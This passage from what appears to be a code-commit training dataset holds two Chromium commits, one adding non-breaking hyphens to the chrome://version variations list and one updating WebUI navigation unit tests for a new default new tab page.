TabHandler::CreateTabHandler(TabHandlerDelegate* delegate) {\n  return new DefaultTabHandler(delegate);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/webui\/version_handler.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_util.h\"\n#include \"base\/metrics\/field_trial.h\"\n#include \"base\/string_split.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/plugins\/plugin_prefs.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/common\/metrics\/variations\/variations_util.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/plugin_service.h\"\n#include \"content\/public\/browser\/web_ui.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"grit\/generated_resources.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"webkit\/plugins\/plugin_constants.h\"\n\nnamespace {\n\n\/\/ Retrieves the executable and profile paths on the FILE thread.\nvoid GetFilePaths(const FilePath& profile_path,\n                  string16* exec_path_out,\n                  string16* profile_path_out) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::FILE));\n\n  FilePath executable_path = CommandLine::ForCurrentProcess()->GetProgram();\n  if (file_util::AbsolutePath(&executable_path)) {\n    *exec_path_out = executable_path.LossyDisplayName();\n  } else {\n    *exec_path_out =\n        l10n_util::GetStringUTF16(IDS_ABOUT_VERSION_PATH_NOTFOUND);\n  }\n\n  FilePath profile_path_copy(profile_path);\n  if (!profile_path.empty() && file_util::AbsolutePath(&profile_path_copy)) {\n    *profile_path_out = profile_path.LossyDisplayName();\n  } else {\n    *profile_path_out =\n        l10n_util::GetStringUTF16(IDS_ABOUT_VERSION_PATH_NOTFOUND);\n  }\n}\n\n}  \/\/ namespace\n\nVersionHandler::VersionHandler()\n    : weak_ptr_factory_(ALLOW_THIS_IN_INITIALIZER_LIST(this)) {\n}\n\nVersionHandler::~VersionHandler() {\n}\n\nvoid VersionHandler::RegisterMessages() {\n  web_ui()->RegisterMessageCallback(\n      \"requestVersionInfo\",\n      base::Bind(&VersionHandler::HandleRequestVersionInfo,\n      base::Unretained(this)));\n}\n\nvoid VersionHandler::HandleRequestVersionInfo(const ListValue* args) {\n  \/\/ The Flash version information is needed in the response, so make sure\n  \/\/ the plugins are loaded.\n  content::PluginService::GetInstance()->GetPlugins(\n      base::Bind(&VersionHandler::OnGotPlugins,\n          weak_ptr_factory_.GetWeakPtr()));\n\n  \/\/ Grab the executable path on the FILE thread. It is returned in\n  \/\/ OnGotFilePaths.\n  string16* exec_path_buffer = new string16;\n  string16* profile_path_buffer = new string16;\n  content::BrowserThread::PostTaskAndReply(\n      content::BrowserThread::FILE, FROM_HERE,\n          base::Bind(&GetFilePaths, Profile::FromWebUI(web_ui())->GetPath(),\n                     base::Unretained(exec_path_buffer),\n                     base::Unretained(profile_path_buffer)),\n          base::Bind(&VersionHandler::OnGotFilePaths,\n                     weak_ptr_factory_.GetWeakPtr(),\n                     base::Owned(exec_path_buffer),\n                     base::Owned(profile_path_buffer)));\n\n  \/\/ Respond with the variations info immediately.\n  scoped_ptr<ListValue> variations_list(new ListValue());\n  std::vector<std::string> variations;\n#if !defined(NDEBUG)\n  std::string variation_state;\n  base::FieldTrialList::StatesToString(&variation_state);\n\n  std::vector<std::string> tokens;\n  base::SplitString(variation_state,\n                    base::FieldTrialList::kPersistentStringSeparator,\n                    &tokens);\n  \/\/ Since StatesToString appends a separator at the end, SplitString will\n  \/\/ append an extra empty string in the vector. Drop it. There should\n  \/\/ always be an even number of tokens left.\n  tokens.pop_back();\n  DCHECK_EQ(0U, tokens.size() % 2);\n  for (size_t i = 0; i < tokens.size(); i += 2)\n    variations.push_back(tokens[i] + \":\" + tokens[i + 1]);\n#else\n  \/\/ In release mode, display the hashes only.\n  std::vector<string16> selected_groups;\n  chrome_variations::GetFieldTrialSelectedGroupIdsAsStrings(&selected_groups);\n  for (size_t i = 0; i < selected_groups.size(); ++i)\n    variations.push_back(UTF16ToASCII(selected_groups[i]));\n#endif\n\n  for (std::vector<std::string>::const_iterator it = variations.begin();\n      it != variations.end(); ++it) {\n    variations_list->Append(Value::CreateStringValue(*it));\n  }\n\n  \/\/ In release mode, this will return an empty list to clear the section.\n  web_ui()->CallJavascriptFunction(\"returnVariationInfo\",\n                                   *variations_list.release());\n}\n\nvoid VersionHandler::OnGotFilePaths(string16* executable_path_data,\n                                    string16* profile_path_data) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::UI));\n\n  StringValue exec_path(*executable_path_data);\n  StringValue profile_path(*profile_path_data);\n  web_ui()->CallJavascriptFunction(\"returnFilePaths\", exec_path, profile_path);\n}\n\nvoid VersionHandler::OnGotPlugins(\n    const std::vector<webkit::WebPluginInfo>& plugins) {\n#if !defined(OS_ANDROID)\n  \/\/ Obtain the version of the first enabled Flash plugin.\n  std::vector<webkit::WebPluginInfo> info_array;\n  content::PluginService::GetInstance()->GetPluginInfoArray(\n      GURL(), kFlashPluginSwfMimeType, false, &info_array, NULL);\n  string16 flash_version =\n      l10n_util::GetStringUTF16(IDS_PLUGINS_DISABLED_PLUGIN);\n  PluginPrefs* plugin_prefs =\n      PluginPrefs::GetForProfile(Profile::FromWebUI(web_ui()));\n  if (plugin_prefs) {\n    for (size_t i = 0; i < info_array.size(); ++i) {\n      if (plugin_prefs->IsPluginEnabled(info_array[i])) {\n        flash_version = info_array[i].version;\n        break;\n      }\n    }\n  }\n\n  StringValue arg(flash_version);\n  web_ui()->CallJavascriptFunction(\"returnFlashVersion\", arg);\n#endif\n}\n<commit_msg>Use a non-breaking hyphen for chrome:\/\/versions variations list.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/webui\/version_handler.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_util.h\"\n#include \"base\/metrics\/field_trial.h\"\n#include \"base\/string_split.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/plugins\/plugin_prefs.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/common\/metrics\/variations\/variations_util.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/plugin_service.h\"\n#include \"content\/public\/browser\/web_ui.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"grit\/generated_resources.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"webkit\/plugins\/plugin_constants.h\"\n\nnamespace {\n\n\/\/ Retrieves the executable and profile paths on the FILE thread.\nvoid GetFilePaths(const FilePath& profile_path,\n                  string16* exec_path_out,\n                  string16* profile_path_out) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::FILE));\n\n  FilePath executable_path = CommandLine::ForCurrentProcess()->GetProgram();\n  if (file_util::AbsolutePath(&executable_path)) {\n    *exec_path_out = executable_path.LossyDisplayName();\n  } else {\n    *exec_path_out =\n        l10n_util::GetStringUTF16(IDS_ABOUT_VERSION_PATH_NOTFOUND);\n  }\n\n  FilePath profile_path_copy(profile_path);\n  if (!profile_path.empty() && file_util::AbsolutePath(&profile_path_copy)) {\n    *profile_path_out = profile_path.LossyDisplayName();\n  } else {\n    *profile_path_out =\n        l10n_util::GetStringUTF16(IDS_ABOUT_VERSION_PATH_NOTFOUND);\n  }\n}\n\n}  \/\/ namespace\n\nVersionHandler::VersionHandler()\n    : weak_ptr_factory_(ALLOW_THIS_IN_INITIALIZER_LIST(this)) {\n}\n\nVersionHandler::~VersionHandler() {\n}\n\nvoid VersionHandler::RegisterMessages() {\n  web_ui()->RegisterMessageCallback(\n      \"requestVersionInfo\",\n      base::Bind(&VersionHandler::HandleRequestVersionInfo,\n      base::Unretained(this)));\n}\n\nvoid VersionHandler::HandleRequestVersionInfo(const ListValue* args) {\n  \/\/ The Flash version information is needed in the response, so make sure\n  \/\/ the plugins are loaded.\n  content::PluginService::GetInstance()->GetPlugins(\n      base::Bind(&VersionHandler::OnGotPlugins,\n          weak_ptr_factory_.GetWeakPtr()));\n\n  \/\/ Grab the executable path on the FILE thread. It is returned in\n  \/\/ OnGotFilePaths.\n  string16* exec_path_buffer = new string16;\n  string16* profile_path_buffer = new string16;\n  content::BrowserThread::PostTaskAndReply(\n      content::BrowserThread::FILE, FROM_HERE,\n          base::Bind(&GetFilePaths, Profile::FromWebUI(web_ui())->GetPath(),\n                     base::Unretained(exec_path_buffer),\n                     base::Unretained(profile_path_buffer)),\n          base::Bind(&VersionHandler::OnGotFilePaths,\n                     weak_ptr_factory_.GetWeakPtr(),\n                     base::Owned(exec_path_buffer),\n                     base::Owned(profile_path_buffer)));\n\n  \/\/ Respond with the variations info immediately.\n  scoped_ptr<ListValue> variations_list(new ListValue());\n  std::vector<std::string> variations;\n#if !defined(NDEBUG)\n  std::string variation_state;\n  base::FieldTrialList::StatesToString(&variation_state);\n\n  std::vector<std::string> tokens;\n  base::SplitString(variation_state,\n                    base::FieldTrialList::kPersistentStringSeparator,\n                    &tokens);\n  \/\/ Since StatesToString appends a separator at the end, SplitString will\n  \/\/ append an extra empty string in the vector. Drop it. There should\n  \/\/ always be an even number of tokens left.\n  tokens.pop_back();\n  DCHECK_EQ(0U, tokens.size() % 2);\n  const unsigned char kNonBreakingHyphenUTF8[] = { 0xE2, 0x80, 0x91, '\\0' };\n  const std::string kNonBreakingHyphenUTF8String(\n      reinterpret_cast<const char*>(kNonBreakingHyphenUTF8));\n  for (size_t i = 0; i < tokens.size(); i += 2) {\n    std::string line = tokens[i] + \":\" + tokens[i + 1];\n    ReplaceChars(line, \"-\", kNonBreakingHyphenUTF8String, &line);\n    variations.push_back(line);\n  }\n#else\n  \/\/ In release mode, display the hashes only.\n  std::vector<string16> selected_groups;\n  chrome_variations::GetFieldTrialSelectedGroupIdsAsStrings(&selected_groups);\n  for (size_t i = 0; i < selected_groups.size(); ++i)\n    variations.push_back(UTF16ToASCII(selected_groups[i]));\n#endif\n\n  for (std::vector<std::string>::const_iterator it = variations.begin();\n      it != variations.end(); ++it) {\n    variations_list->Append(Value::CreateStringValue(*it));\n  }\n\n  \/\/ In release mode, this will return an empty list to clear the section.\n  web_ui()->CallJavascriptFunction(\"returnVariationInfo\",\n                                   *variations_list.release());\n}\n\nvoid VersionHandler::OnGotFilePaths(string16* executable_path_data,\n                                    string16* profile_path_data) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::UI));\n\n  StringValue exec_path(*executable_path_data);\n  StringValue profile_path(*profile_path_data);\n  web_ui()->CallJavascriptFunction(\"returnFilePaths\", exec_path, profile_path);\n}\n\nvoid VersionHandler::OnGotPlugins(\n    const std::vector<webkit::WebPluginInfo>& plugins) {\n#if !defined(OS_ANDROID)\n  \/\/ Obtain the version of the first enabled Flash plugin.\n  std::vector<webkit::WebPluginInfo> info_array;\n  content::PluginService::GetInstance()->GetPluginInfoArray(\n      GURL(), kFlashPluginSwfMimeType, false, &info_array, NULL);\n  string16 flash_version =\n      l10n_util::GetStringUTF16(IDS_PLUGINS_DISABLED_PLUGIN);\n  PluginPrefs* plugin_prefs =\n      PluginPrefs::GetForProfile(Profile::FromWebUI(web_ui()));\n  if (plugin_prefs) {\n    for (size_t i = 0; i < info_array.size(); ++i) {\n      if (plugin_prefs->IsPluginEnabled(info_array[i])) {\n        flash_version = info_array[i].version;\n        break;\n      }\n    }\n  }\n\n  StringValue arg(flash_version);\n  web_ui()->CallJavascriptFunction(\"returnFlashVersion\", arg);\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/favicon\/favicon_tab_helper.h\"\n#include \"chrome\/browser\/ui\/bookmarks\/bookmark_tab_helper.h\"\n#include \"chrome\/browser\/ui\/tab_contents\/tab_contents_wrapper.h\"\n#include \"chrome\/browser\/ui\/tab_contents\/test_tab_contents_wrapper.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/base\/testing_profile.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/browser\/site_instance.h\"\n#include \"content\/browser\/tab_contents\/navigation_controller.h\"\n#include \"content\/browser\/tab_contents\/test_tab_contents.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nclass WebUITest : public TabContentsWrapperTestHarness {\n public:\n  WebUITest() : ui_thread_(BrowserThread::UI, MessageLoop::current()) {}\n\n  \/\/ Tests navigating with a Web UI from a fresh (nothing pending or committed)\n  \/\/ state, through pending, committed, then another navigation. The first page\n  \/\/ ID that we should use is passed as a parameter. We'll use the next two\n  \/\/ values. This must be increasing for the life of the tests.\n  static void DoNavigationTest(TabContentsWrapper* wrapper, int page_id) {\n    TabContents* contents = wrapper->tab_contents();\n    NavigationController* controller = &contents->controller();\n\n    \/\/ Start a pending load.\n    GURL new_tab_url(chrome::kChromeUINewTabURL);\n    controller->LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n\n    \/\/ The navigation entry should be pending with no committed entry.\n    ASSERT_TRUE(controller->pending_entry());\n    ASSERT_FALSE(controller->GetLastCommittedEntry());\n\n    \/\/ Check the things the pending Web UI should have set.\n    EXPECT_FALSE(contents->ShouldDisplayURL());\n    EXPECT_FALSE(wrapper->favicon_tab_helper()->ShouldDisplayFavicon());\n    EXPECT_TRUE(wrapper->bookmark_tab_helper()->ShouldShowBookmarkBar());\n    EXPECT_TRUE(contents->FocusLocationBarByDefault());\n\n    \/\/ Now commit the load.\n    static_cast<TestRenderViewHost*>(\n        contents->render_view_host())->SendNavigate(page_id, new_tab_url);\n\n    \/\/ The same flags should be set as before now that the load has committed.\n    EXPECT_FALSE(contents->ShouldDisplayURL());\n    EXPECT_FALSE(wrapper->favicon_tab_helper()->ShouldDisplayFavicon());\n    EXPECT_TRUE(wrapper->bookmark_tab_helper()->ShouldShowBookmarkBar());\n    EXPECT_TRUE(contents->FocusLocationBarByDefault());\n\n    \/\/ Start a pending navigation to a regular page.\n    GURL next_url(\"http:\/\/google.com\/\");\n    controller->LoadURL(next_url, GURL(), PageTransition::LINK);\n\n    \/\/ Check the flags. Some should reflect the new page (URL, title), some\n    \/\/ should reflect the old one (bookmark bar) until it has committed.\n    EXPECT_TRUE(contents->ShouldDisplayURL());\n    EXPECT_TRUE(wrapper->favicon_tab_helper()->ShouldDisplayFavicon());\n    EXPECT_TRUE(wrapper->bookmark_tab_helper()->ShouldShowBookmarkBar());\n    EXPECT_FALSE(contents->FocusLocationBarByDefault());\n\n    \/\/ Commit the regular page load. Note that we must send it to the \"pending\"\n    \/\/ RenderViewHost if there is one, since this transition will also cause a\n    \/\/ process transition, and our RVH pointer will be the \"committed\" one.\n    \/\/ In the second call to this function from WebUIToStandard, it won't\n    \/\/ actually be pending, which is the point of this test.\n    if (contents->render_manager()->pending_render_view_host()) {\n      static_cast<TestRenderViewHost*>(\n          contents->render_manager()->pending_render_view_host())->SendNavigate(\n              page_id + 1, next_url);\n    } else {\n      static_cast<TestRenderViewHost*>(\n          contents->render_view_host())->SendNavigate(page_id + 1, next_url);\n    }\n\n    \/\/ The state should now reflect a regular page.\n    EXPECT_TRUE(contents->ShouldDisplayURL());\n    EXPECT_TRUE(wrapper->favicon_tab_helper()->ShouldDisplayFavicon());\n    EXPECT_FALSE(wrapper->bookmark_tab_helper()->ShouldShowBookmarkBar());\n    EXPECT_FALSE(contents->FocusLocationBarByDefault());\n  }\n\n private:\n  BrowserThread ui_thread_;\n\n  DISALLOW_COPY_AND_ASSIGN(WebUITest);\n};\n\n\/\/ Tests that the New Tab Page flags are correctly set and propogated by\n\/\/ TabContents when we first navigate to a Web UI page, then to a standard\n\/\/ non-DOM-UI page.\nTEST_F(WebUITest, WebUIToStandard) {\n  DoNavigationTest(contents_wrapper(), 1);\n\n  \/\/ Test the case where we're not doing the initial navigation. This is\n  \/\/ slightly different than the very-first-navigation case since the\n  \/\/ SiteInstance will be the same (the original TabContents must still be\n  \/\/ alive), which will trigger different behavior in RenderViewHostManager.\n  TestTabContents* contents2 = new TestTabContents(profile_.get(), NULL);\n  TabContentsWrapper wrapper2(contents2);\n\n  DoNavigationTest(&wrapper2, 101);\n}\n\nTEST_F(WebUITest, WebUIToWebUI) {\n  \/\/ Do a load (this state is tested above).\n  GURL new_tab_url(chrome::kChromeUINewTabURL);\n  controller().LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n  rvh()->SendNavigate(1, new_tab_url);\n\n  \/\/ Start another pending load of the new tab page.\n  controller().LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n  rvh()->SendNavigate(2, new_tab_url);\n\n  \/\/ The flags should be the same as the non-pending state.\n  EXPECT_FALSE(contents()->ShouldDisplayURL());\n  EXPECT_FALSE(\n      contents_wrapper()->favicon_tab_helper()->ShouldDisplayFavicon());\n  EXPECT_TRUE(\n      contents_wrapper()->bookmark_tab_helper()->ShouldShowBookmarkBar());\n  EXPECT_TRUE(contents()->FocusLocationBarByDefault());\n}\n\nTEST_F(WebUITest, StandardToWebUI) {\n  \/\/ Start a pending navigation to a regular page.\n  GURL std_url(\"http:\/\/google.com\/\");\n\n  controller().LoadURL(std_url, GURL(), PageTransition::LINK);\n\n  \/\/ The state should now reflect the default.\n  EXPECT_TRUE(contents()->ShouldDisplayURL());\n  EXPECT_TRUE(contents_wrapper()->favicon_tab_helper()->ShouldDisplayFavicon());\n  EXPECT_FALSE(\n      contents_wrapper()->bookmark_tab_helper()->ShouldShowBookmarkBar());\n  EXPECT_FALSE(contents()->FocusLocationBarByDefault());\n\n  \/\/ Commit the load, the state should be the same.\n  rvh()->SendNavigate(1, std_url);\n  EXPECT_TRUE(contents()->ShouldDisplayURL());\n  EXPECT_TRUE(contents_wrapper()->favicon_tab_helper()->ShouldDisplayFavicon());\n  EXPECT_FALSE(\n      contents_wrapper()->bookmark_tab_helper()->ShouldShowBookmarkBar());\n  EXPECT_FALSE(contents()->FocusLocationBarByDefault());\n\n  \/\/ Start a pending load for a WebUI.\n  GURL new_tab_url(chrome::kChromeUINewTabURL);\n  controller().LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n  EXPECT_FALSE(contents()->ShouldDisplayURL());\n  EXPECT_TRUE(contents_wrapper()->favicon_tab_helper()->ShouldDisplayFavicon());\n  EXPECT_FALSE(\n      contents_wrapper()->bookmark_tab_helper()->ShouldShowBookmarkBar());\n  EXPECT_TRUE(contents()->FocusLocationBarByDefault());\n\n  \/\/ Committing Web UI is tested above.\n}\n\nclass TabContentsForFocusTest : public TestTabContents {\n public:\n  TabContentsForFocusTest(content::BrowserContext* browser_context,\n                          SiteInstance* instance)\n      : TestTabContents(browser_context, instance), focus_called_(0) {\n  }\n\n  virtual void SetFocusToLocationBar(bool select_all) { ++focus_called_; }\n  int focus_called() const { return focus_called_; }\n\n private:\n  int focus_called_;\n};\n\nTEST_F(WebUITest, FocusOnNavigate) {\n  \/\/ Setup.  |tc| will be used to track when we try to focus the location bar.\n  TabContentsForFocusTest* tc = new TabContentsForFocusTest(\n      contents()->browser_context(),\n      SiteInstance::CreateSiteInstance(contents()->browser_context()));\n  tc->controller().CopyStateFrom(controller());\n  SetContents(tc);\n  int page_id = 200;\n\n  \/\/ Load the NTP.\n  GURL new_tab_url(chrome::kChromeUINewTabURL);\n  controller().LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n  rvh()->SendNavigate(page_id, new_tab_url);\n\n  \/\/ Navigate to another page.\n  GURL next_url(\"http:\/\/google.com\/\");\n  int next_page_id = page_id + 1;\n  controller().LoadURL(next_url, GURL(), PageTransition::LINK);\n  TestRenderViewHost* old_rvh = rvh();\n  old_rvh->SendShouldCloseACK(true);\n  pending_rvh()->SendNavigate(next_page_id, next_url);\n  old_rvh->OnSwapOutACK();\n\n  \/\/ Navigate back.  Should focus the location bar.\n  int focus_called = tc->focus_called();\n  ASSERT_TRUE(controller().CanGoBack());\n  controller().GoBack();\n  old_rvh = rvh();\n  old_rvh->SendShouldCloseACK(true);\n  pending_rvh()->SendNavigate(page_id, new_tab_url);\n  old_rvh->OnSwapOutACK();\n  EXPECT_LT(focus_called, tc->focus_called());\n\n  \/\/ Navigate forward.  Shouldn't focus the location bar.\n  focus_called = tc->focus_called();\n  ASSERT_TRUE(controller().CanGoForward());\n  controller().GoForward();\n  old_rvh = rvh();\n  old_rvh->SendShouldCloseACK(true);\n  pending_rvh()->SendNavigate(next_page_id, next_url);\n  old_rvh->OnSwapOutACK();\n  EXPECT_EQ(focus_called, tc->focus_called());\n}\n<commit_msg>ntp4: fix tests due to new default ntp<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/favicon\/favicon_tab_helper.h\"\n#include \"chrome\/browser\/ui\/bookmarks\/bookmark_tab_helper.h\"\n#include \"chrome\/browser\/ui\/tab_contents\/tab_contents_wrapper.h\"\n#include \"chrome\/browser\/ui\/tab_contents\/test_tab_contents_wrapper.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/base\/testing_profile.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/browser\/site_instance.h\"\n#include \"content\/browser\/tab_contents\/navigation_controller.h\"\n#include \"content\/browser\/tab_contents\/test_tab_contents.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nclass WebUITest : public TabContentsWrapperTestHarness {\n public:\n  WebUITest() : ui_thread_(BrowserThread::UI, MessageLoop::current()) {}\n\n  \/\/ Tests navigating with a Web UI from a fresh (nothing pending or committed)\n  \/\/ state, through pending, committed, then another navigation. The first page\n  \/\/ ID that we should use is passed as a parameter. We'll use the next two\n  \/\/ values. This must be increasing for the life of the tests.\n  static void DoNavigationTest(TabContentsWrapper* wrapper, int page_id) {\n    TabContents* contents = wrapper->tab_contents();\n    NavigationController* controller = &contents->controller();\n\n    \/\/ Start a pending load.\n    GURL new_tab_url(chrome::kChromeUINewTabURL);\n    controller->LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n\n    \/\/ The navigation entry should be pending with no committed entry.\n    ASSERT_TRUE(controller->pending_entry());\n    ASSERT_FALSE(controller->GetLastCommittedEntry());\n\n    \/\/ Check the things the pending Web UI should have set.\n    EXPECT_FALSE(contents->ShouldDisplayURL());\n    EXPECT_FALSE(wrapper->favicon_tab_helper()->ShouldDisplayFavicon());\n    EXPECT_TRUE(contents->FocusLocationBarByDefault());\n\n    \/\/ Now commit the load.\n    static_cast<TestRenderViewHost*>(\n        contents->render_view_host())->SendNavigate(page_id, new_tab_url);\n\n    \/\/ The same flags should be set as before now that the load has committed.\n    EXPECT_FALSE(contents->ShouldDisplayURL());\n    EXPECT_FALSE(wrapper->favicon_tab_helper()->ShouldDisplayFavicon());\n    EXPECT_TRUE(contents->FocusLocationBarByDefault());\n\n    \/\/ Start a pending navigation to a regular page.\n    GURL next_url(\"http:\/\/google.com\/\");\n    controller->LoadURL(next_url, GURL(), PageTransition::LINK);\n\n    \/\/ Check the flags. Some should reflect the new page (URL, title), some\n    \/\/ should reflect the old one (bookmark bar) until it has committed.\n    EXPECT_TRUE(contents->ShouldDisplayURL());\n    EXPECT_TRUE(wrapper->favicon_tab_helper()->ShouldDisplayFavicon());\n    EXPECT_FALSE(contents->FocusLocationBarByDefault());\n\n    \/\/ Commit the regular page load. Note that we must send it to the \"pending\"\n    \/\/ RenderViewHost if there is one, since this transition will also cause a\n    \/\/ process transition, and our RVH pointer will be the \"committed\" one.\n    \/\/ In the second call to this function from WebUIToStandard, it won't\n    \/\/ actually be pending, which is the point of this test.\n    if (contents->render_manager()->pending_render_view_host()) {\n      static_cast<TestRenderViewHost*>(\n          contents->render_manager()->pending_render_view_host())->SendNavigate(\n              page_id + 1, next_url);\n    } else {\n      static_cast<TestRenderViewHost*>(\n          contents->render_view_host())->SendNavigate(page_id + 1, next_url);\n    }\n\n    \/\/ The state should now reflect a regular page.\n    EXPECT_TRUE(contents->ShouldDisplayURL());\n    EXPECT_TRUE(wrapper->favicon_tab_helper()->ShouldDisplayFavicon());\n    EXPECT_FALSE(contents->FocusLocationBarByDefault());\n  }\n\n private:\n  BrowserThread ui_thread_;\n\n  DISALLOW_COPY_AND_ASSIGN(WebUITest);\n};\n\n\/\/ Tests that the New Tab Page flags are correctly set and propogated by\n\/\/ TabContents when we first navigate to a Web UI page, then to a standard\n\/\/ non-DOM-UI page.\nTEST_F(WebUITest, WebUIToStandard) {\n  DoNavigationTest(contents_wrapper(), 1);\n\n  \/\/ Test the case where we're not doing the initial navigation. This is\n  \/\/ slightly different than the very-first-navigation case since the\n  \/\/ SiteInstance will be the same (the original TabContents must still be\n  \/\/ alive), which will trigger different behavior in RenderViewHostManager.\n  TestTabContents* contents2 = new TestTabContents(profile_.get(), NULL);\n  TabContentsWrapper wrapper2(contents2);\n\n  DoNavigationTest(&wrapper2, 101);\n}\n\nTEST_F(WebUITest, WebUIToWebUI) {\n  \/\/ Do a load (this state is tested above).\n  GURL new_tab_url(chrome::kChromeUINewTabURL);\n  controller().LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n  rvh()->SendNavigate(1, new_tab_url);\n\n  \/\/ Start another pending load of the new tab page.\n  controller().LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n  rvh()->SendNavigate(2, new_tab_url);\n\n  \/\/ The flags should be the same as the non-pending state.\n  EXPECT_FALSE(contents()->ShouldDisplayURL());\n  EXPECT_FALSE(\n      contents_wrapper()->favicon_tab_helper()->ShouldDisplayFavicon());\n  EXPECT_TRUE(contents()->FocusLocationBarByDefault());\n}\n\nTEST_F(WebUITest, StandardToWebUI) {\n  \/\/ Start a pending navigation to a regular page.\n  GURL std_url(\"http:\/\/google.com\/\");\n\n  controller().LoadURL(std_url, GURL(), PageTransition::LINK);\n\n  \/\/ The state should now reflect the default.\n  EXPECT_TRUE(contents()->ShouldDisplayURL());\n  EXPECT_TRUE(contents_wrapper()->favicon_tab_helper()->ShouldDisplayFavicon());\n  EXPECT_FALSE(contents()->FocusLocationBarByDefault());\n\n  \/\/ Commit the load, the state should be the same.\n  rvh()->SendNavigate(1, std_url);\n  EXPECT_TRUE(contents()->ShouldDisplayURL());\n  EXPECT_TRUE(contents_wrapper()->favicon_tab_helper()->ShouldDisplayFavicon());\n  EXPECT_FALSE(contents()->FocusLocationBarByDefault());\n\n  \/\/ Start a pending load for a WebUI.\n  GURL new_tab_url(chrome::kChromeUINewTabURL);\n  controller().LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n  EXPECT_FALSE(contents()->ShouldDisplayURL());\n  EXPECT_TRUE(contents_wrapper()->favicon_tab_helper()->ShouldDisplayFavicon());\n  EXPECT_TRUE(contents()->FocusLocationBarByDefault());\n\n  \/\/ Committing Web UI is tested above.\n}\n\nclass TabContentsForFocusTest : public TestTabContents {\n public:\n  TabContentsForFocusTest(content::BrowserContext* browser_context,\n                          SiteInstance* instance)\n      : TestTabContents(browser_context, instance), focus_called_(0) {\n  }\n\n  virtual void SetFocusToLocationBar(bool select_all) { ++focus_called_; }\n  int focus_called() const { return focus_called_; }\n\n private:\n  int focus_called_;\n};\n\nTEST_F(WebUITest, FocusOnNavigate) {\n  \/\/ Setup.  |tc| will be used to track when we try to focus the location bar.\n  TabContentsForFocusTest* tc = new TabContentsForFocusTest(\n      contents()->browser_context(),\n      SiteInstance::CreateSiteInstance(contents()->browser_context()));\n  tc->controller().CopyStateFrom(controller());\n  SetContents(tc);\n  int page_id = 200;\n\n  \/\/ Load the NTP.\n  GURL new_tab_url(chrome::kChromeUINewTabURL);\n  controller().LoadURL(new_tab_url, GURL(), PageTransition::LINK);\n  rvh()->SendNavigate(page_id, new_tab_url);\n\n  \/\/ Navigate to another page.\n  GURL next_url(\"http:\/\/google.com\/\");\n  int next_page_id = page_id + 1;\n  controller().LoadURL(next_url, GURL(), PageTransition::LINK);\n  TestRenderViewHost* old_rvh = rvh();\n  old_rvh->SendShouldCloseACK(true);\n  pending_rvh()->SendNavigate(next_page_id, next_url);\n  old_rvh->OnSwapOutACK();\n\n  \/\/ Navigate back.  Should focus the location bar.\n  int focus_called = tc->focus_called();\n  ASSERT_TRUE(controller().CanGoBack());\n  controller().GoBack();\n  old_rvh = rvh();\n  old_rvh->SendShouldCloseACK(true);\n  pending_rvh()->SendNavigate(page_id, new_tab_url);\n  old_rvh->OnSwapOutACK();\n  EXPECT_LT(focus_called, tc->focus_called());\n\n  \/\/ Navigate forward.  Shouldn't focus the location bar.\n  focus_called = tc->focus_called();\n  ASSERT_TRUE(controller().CanGoForward());\n  controller().GoForward();\n  old_rvh = rvh();\n  old_rvh->SendShouldCloseACK(true);\n  pending_rvh()->SendNavigate(next_page_id, next_url);\n  old_rvh->OnSwapOutACK();\n  EXPECT_EQ(focus_called, tc->focus_called());\n}\n<|endoftext|>"}
